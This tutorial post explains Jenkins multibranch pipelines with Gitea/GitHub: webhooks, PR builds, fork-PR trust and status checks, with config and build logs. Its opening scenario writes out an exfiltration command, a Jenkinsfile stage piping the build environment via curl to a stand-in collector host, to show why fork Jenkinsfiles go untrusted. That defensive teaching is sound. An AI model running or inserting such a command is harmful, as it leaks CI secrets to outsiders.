Jenkins Multibranch Pipelines and GitHub Integration: Webhooks, PR Builds and Status Checks

Version note: The examples in this post were run with Jenkins 2.580.2 LTS (Long-Term Support), the Gitea plugin 286, the GitHub Branch Source plugin 1986 and Gitea 28.3. No connection to GitHub was made; a local Gitea server that supports the same flow was used instead, and GitHub-specific parts are marked separately.

Guess First

An outside contributor opens a pull request against your repository from a fork. The PR (Pull Request) has a small README fix, but it also adds this stage to the Jenkinsfile: sh 'env | sort | curl -s -X POST --data-binary @- http://collector.example/upload'. Jenkins builds the PR automatically. Does this stage run? If it does, everything in the build's environment goes to a stranger's server.

What Does a Multibranch Pipeline Do?

In the third post we put the Jenkinsfile into the repository. A multibranch pipeline is a job type that scans a repository and automatically opens a separate job for every branch and every pull request that contains a Jenkinsfile. When a new branch is pushed, a job appears; when the branch is deleted, the job is deleted too (after waiting as long as you configured). Inside the pipeline, env.BRANCH_NAME tells you which branch you are on, and PR builds also get variables such as CHANGE_ID, CHANGE_TARGET and CHANGE_BRANCH.

Where the repository is read from is defined by a branch source. There is the GitHub Branch Source plugin for GitHub, dedicated plugins for Bitbucket and GitLab, and the Gitea plugin for Gitea; all are built on the same SCM (Source Control Management) API (Application Programming Interface) and behave almost identically. Since this series pushes nothing to GitHub, the examples ran on a local Gitea server. I defined the job with Job DSL (Domain-Specific Language) from within JCasC (Jenkins Configuration as Code):

multibranchPipelineJob('bookstore') {
    displayName('Bookstore API and Web')
    branchSources {
        branchSource {
            source {
                giteaSCMSource {
                    id('bookstore-gitea')
                    serverUrl('http://jenkwork-gitea:3000')
                    repoOwner('bookstore')
                    repository('bookstore')
                    credentialsId('gitea-ci')
                    traits {
                        giteaBranchDiscovery {
                            strategyId(1)
                        }
                        giteaPullRequestDiscovery {
                            strategyId(1)
                        }
                        giteaForkDiscovery {
                            strategyId(1)
                            trust {
                                giteaTrustContributors()
                            }
                        }
                    }
                }
            }
        }
    }
    orphanedItemStrategy {
        discardOldItems {
            numToKeep(5)
        }
    }
}

The three traits answer three questions. Branch discovery strategyId(1): do not build branches that have an open PR separately; they will be built as PRs anyway. Origin PR discovery strategyId(1): build PRs opened from branches of the same repository in their state merged with the target branch. Fork discovery: find PRs from forks too, but trust only the Jenkinsfile of people with write access to the repository. This last one decides the answer to the opening question. On my first attempt I had written gitea { } for the Gitea source and JCasC rejected it, because this source has no Job DSL short name; you need giteaSCMSource, derived from the class name:

No signature of method: javaposse.jobdsl.plugin.structs.DescribableListContext.gitea() is applicable for argument types: (script$_run_closure1$_closure2$_closure4$_closure5$_closure6)

The quickest way to find the right name is Jenkins's own Job DSL API viewer (/plugin/job-dsl/api-viewer/index.html); it is generated from the installed plugins, so it is more reliable than examples on the internet.

Webhook or Polling?

Jenkins can learn about a push in two ways: asking the Git server at intervals (polling, or periodic scanning in multibranch) or the Git server notifying Jenkins (a webhook). A webhook starts a build within seconds and does not load the Git server for nothing; polling works even when the network is closed, but it is delayed and expensive. The right setup is a webhook plus an infrequent periodic scan (for example once a day); the scan makes up for missed webhooks.

With manageHooks: true the Gitea plugin creates the webhook itself. I fell into two traps here, and both are very common in production. First, the plugin sets up the hook when the job is created or updated, and derives the target address from the Jenkins URL (Uniform Resource Locator). In my setup the Jenkins URL was http://localhost:18400/, and after the initial setup there was no hook at all in Gitea; even if there had been one, localhost means Gitea itself to Gitea. When I changed location.url in JCasC to the address Gitea sees (http://jenkwork-jenkins:8080/) and updated the job, the hook was created:

gitea http://jenkwork-jenkins:8080/gitea-webhook/post ['pull_request', 'repository', 'pull_request_milestone', 'pull_request_sync', 'pull_request_comment', 'pull_request_review_request', 'pull_request_label', 'push', 'delete', 'release', 'pull_request_assign', 'pull_request_review', 'create'] True

Second, I pushed and nothing happened. The answer was in Gitea's log:

services/webhook/webhook.go:99:handler() [E] Unable to deliver webhook task[1]: unable to deliver webhook task[1] in http://jenkwork-jenkins:8080/gitea-webhook/post due to error in http client: Post "http://jenkwork-jenkins:8080/gitea-webhook/post": dial tcp 172.21.0.4:8080: denied by egress policy: jenkwork-jenkins(172.21.0.4) needs an explicit IP allow entry (non-public address)

To protect against SSRF (Server-Side Request Forgery) attacks, Gitea blocks webhooks to private IP (Internet Protocol) addresses by default. I had put Jenkins's host name into the allow list; as the error message says, a private address needed an explicit IP entry or a category such as private. After setting the allow list to private, the next push started a build within seconds:

Push event to branch main
Looking up repository bookstore/bookstore
Current revision of branch main is 94e4821cd13d14e2de769c731aea0ec6649306f1
Obtained Jenkinsfile from 94e4821cd13d14e2de769c731aea0ec6649306f1
Running on docker-agent-1 in /home/jenkins/agent/workspace/bookstore_main
Checking out Revision 94e4821cd13d14e2de769c731aea0ec6649306f1 (main)
Commit message: "Add README"
[Gitea] Notifying branch build status: PENDING Build started...
Branch: main
+ git log -1 --format=%h %s
94e4821 Add README
Stage "PR checks" skipped due to when conditional
Deploying main to staging
[Gitea] Notifying branch build status: SUCCESS This commit looks good
Finished: SUCCESS

On GitHub it works the same way: the webhook comes from GitHub's servers, so Jenkins needs an HTTPS (HTTP Secure) address reachable from the internet, or a relay in between. A GitHub webhook cannot reach a Jenkins behind a firewall; in that case you either expose Jenkins through a reverse proxy (the topic of the upcoming Web Servers and Hosting series) or settle for periodic scanning.

Branch and PR Builds: Telling Them Apart with when

I added two stages to the Bookstore Jenkinsfile that run depending on the branch and the PR:

stages {
    stage('Info') {
        steps {
            echo "Branch: ${env.BRANCH_NAME}"
            sh 'git log -1 --format="%h %s"'
        }
    }
    stage('PR checks') {
        when { changeRequest() }
        steps {
            echo "PR #${env.CHANGE_ID}: ${env.CHANGE_BRANCH} -> ${env.CHANGE_TARGET} by ${env.CHANGE_AUTHOR}"
        }
    }
    stage('Deploy to staging') {
        when { branch 'main' }
        steps {
            echo 'Deploying main to staging'
        }
    }
}

In the main build above, "PR checks" was skipped and the deploy ran. The PR-1 build after opening a PR from the feature/stock-badge branch:

Obtained Jenkinsfile from 94e4821cd13d14e2de769c731aea0ec6649306f1+5ce11599d1d6248e3b6089d5e65533bd6209691d
Running on docker-agent-1 in /home/jenkins/agent/workspace/bookstore_PR-1
Merging remotes/origin/main commit 94e4821cd13d14e2de769c731aea0ec6649306f1 into PR head commit 5ce11599d1d6248e3b6089d5e65533bd6209691d
Merge succeeded, producing 5ce11599d1d6248e3b6089d5e65533bd6209691d
Checking out Revision 5ce11599d1d6248e3b6089d5e65533bd6209691d (feature/stock-badge)
[Gitea] Notifying pull request build status: PENDING Build started...
Branch: PR-1
+ git log -1 --format=%h %s
5ce1159 Rename sold-out badge text
PR #1: feature/stock-badge -> main by null
Stage "Deploy to staging" skipped due to when conditional
[Gitea] Notifying pull request build status: SUCCESS This commit looks good
Finished: SUCCESS

Two details matter. The PR build tests not the PR's own commit but its state merged with the target branch (Merging remotes/origin/main ... into PR head commit); that is the answer to "will main break if I merge this?". Here main was the same as the PR's base, so the merge result was the PR's own commit. Second, CHANGE_AUTHOR came back empty (null) with the Gitea plugin; which variables are filled depends on the branch source, so print them once on your own Jenkins before relying on one in a Jenkinsfile. One more note: in this experiment the PR-1 job was created not by the webhook but by a "Scan Repository Now" I started by hand; the next PR was triggered directly by the webhook event (Pull request #2 event). A nice example of why a periodic scan is needed for missed events.

Fork PRs and Trust

Now the opening question. The contractor user forked the repository, fixed the README, added the Collect stage to the Jenkinsfile and opened a PR. This user has no write access to the repository. Jenkins's PR-2 build:

Pull request #2 event
Current revision of pull request #2 is 283f4a37ac622d317a6b52d9d257479aa67701df
Loading trusted files from base branch main at 94e4821cd13d14e2de769c731aea0ec6649306f1 rather than 283f4a37ac622d317a6b52d9d257479aa67701df
Obtained Jenkinsfile from 94e4821cd13d14e2de769c731aea0ec6649306f1
‘Jenkinsfile’ has been modified in an untrusted revision
Running on ssh-agent-1 in /home/jenkins/agent/workspace/bookstore_PR-2
Merging remotes/origin/main commit 94e4821cd13d14e2de769c731aea0ec6649306f1 into PR head commit 283f4a37ac622d317a6b52d9d257479aa67701df
Commit message: "Improve README"
Branch: PR-2
+ git log -1 --format=%h %s
283f4a3 Improve README
PR #2: main -> main by null
Stage "Deploy to staging" skipped due to when conditional
Finished: SUCCESS

The Collect stage is not in the log. Jenkins took the code from the PR (the README change is in the build), but read the Jenkinsfile from the trusted main branch and said so explicitly: "the Jenkinsfile has been modified in an untrusted revision". The trust options are the same in GitHub Branch Source: Nobody (trust no Jenkinsfile from forks), Contributors / From users with Admin or Write permission (trust those with write access) and Everyone. Choosing Everyone in an open source project means giving everyone on the internet permission to run commands on your Jenkins agent.

Still, be careful: the Jenkinsfile is protected, the code is not. A PR from a fork can change a test that runs during dotnet test, or an MSBuild target; that code runs on the agent too. That is why PR builds must not see secrets and must not run on agents with access to production. The rule from the fifth post becomes concrete here: deploy credentials only in when { branch 'main' } stages.

Status Checks: Sending the Result Back to the Commit

The [Gitea] Notifying pull request build status lines in the log write the build result to the commit. I looked at PR-1's commit through the Gitea API:

state: success
  bookstore/pipeline/pr-main success This commit looks good http://jenkwork-jenkins:8080/job/bookstore/job/PR-1/1/display/redirect

The link is generated from the Jenkins URL; one more reason why location.url in JCasC must be right. GitHub Branch Source does the same through GitHub's Checks/Status API; the default context names are continuous-integration/jenkins/branch and continuous-integration/jenkins/pr-merge. When you add this context to a GitHub ruleset as a required status check, the PR cannot be merged until Jenkins says green. We covered rulesets themselves in the Git & GitHub series post "Teamwork with Git: Branching Strategies, Rulesets and Conventional Commits".

Connecting to GitHub: a GitHub App, Not a PAT

On the GitHub side there are two options for Jenkins's identity: a user's PAT (Personal Access Token) or a GitHub App. A PAT is tied to a person; when that person leaves the company, CI (Continuous Integration) stops, and the API rate limit is that user's limit. A GitHub App is installed on the organization, accesses only the repositories and permissions you choose, Jenkins generates a short-lived installation token for each request, and its rate limit is higher. The GitHub Branch Source plugin offers a "GitHub App" credential type for this. Its definition in JCasC is below; I loaded it onto the controller with a dummy key and verified that the credential was created, but I did not connect to a real GitHub App:

- gitHubApp:
    id: github-app
    appID: "123456"
    description: "GitHub App for the bookstore organization (dummy key, never used)"
    privateKey: "${readFile:/run/secrets/github_app_dummy.pem}"

The GitHub App's private key must be in PKCS (Public-Key Cryptography Standards) #8 format; if the key GitHub gives you is PKCS#1, you do the openssl pkcs8 -topk8 conversion from the plugin documentation. To scan an entire GitHub organization you use an organization folder instead of a multibranch job: a multibranch job is opened automatically for every repository in the org. The Gitea plugin supports the same structure.

In Production

Monitor webhook delivery. Most Git servers keep a webhook delivery history; on the Jenkins side, the multibranch job's "Events" log shows incoming events. Add a once-a-day periodic scan for missed events.

Run PR builds on separate agents without secrets. Routing PR builds through labels (such as linux && untrusted) to agents with no access to the production network is good practice.

Set an orphaned item strategy. Jobs and build histories of deleted branches take up space; use discardOldItems to decide how long they are kept.

As the number of branches grows, so does the demand for executors. In a repository with hundreds of active branches every push means a build; without disableConcurrentBuilds and a suitable executor count, the queue swells.

Common Pitfalls

Leaving the Jenkins URL as localhost. The webhook is not created or goes to the wrong address, and the links in status checks do not open either.

The webhook getting stuck behind a reverse proxy or firewall. If the Git server cannot reach Jenkins, builds start only on periodic scans and the team asks "why is Jenkins late?". The delivery error is always in the Git server's log, not in Jenkins.

Giving fork PRs "Everyone" trust. The Collect stage above would really have run with that setting.

Production credentials in a PR build. Even if the Jenkinsfile is protected, the test code is not.

A personal token instead of a bot account. When the person leaves, CI stops; and the token's permissions are usually broader than needed.

A Small Experiment

★☆☆ Create a multibranch job for your own repository, push a new branch and watch the job appear. Delete the branch and observe when the job disappears according to the orphaned item strategy.

★★☆ Set the Jenkins URL to a wrong address on purpose, push, and find the webhook delivery error in the Git server's log or webhook history. Then fix it and verify that delivery succeeds.

★★★ With a second user who has no write access, open a PR from a fork and change the Jenkinsfile. See the "Loading trusted files from base branch" line. Then set the trust option to Everyone, rebuild the same PR and compare the difference (and revert the setting right away).

The repository is connected and PRs are being built. In the next post we make this pipeline do real work: restore, build and test in the .NET SDK (Software Development Kit) container, a JUnit report, a coverage threshold and a publish artifact.